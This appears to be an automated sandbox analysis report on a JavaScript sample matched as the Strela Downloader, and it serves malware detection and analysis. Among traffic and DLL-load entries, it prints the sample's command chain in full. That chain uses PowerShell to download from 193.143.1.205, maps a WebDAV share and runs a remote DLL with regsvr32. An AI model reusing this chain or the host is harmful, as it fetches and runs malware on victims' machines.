HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1674043117.000001C2F9E29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1736167047.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1739587237.000001BEED5AF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735354118.000001BEED5AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000006.00000002.1739587237.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1736167047.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 00000006.00000002.1739587237.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1736167047.000001BEED58D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/g
Source: net.exe, 00000006.00000002.1739502383.000001BEED560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceO
Source: svchost.exe, 00000008.00000002.2954459108.00000230CE0B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1739791831.00000230CE248000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1739791831.00000230CE248000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1739791831.00000230CE248000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1739791831.00000230CE27D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7056, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 32750305971799721630.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6332:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qda5r1yz.ijj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1596,i,11122811908735448864,9282891485107306110,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1596,i,11122811908735448864,9282891485107306110,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
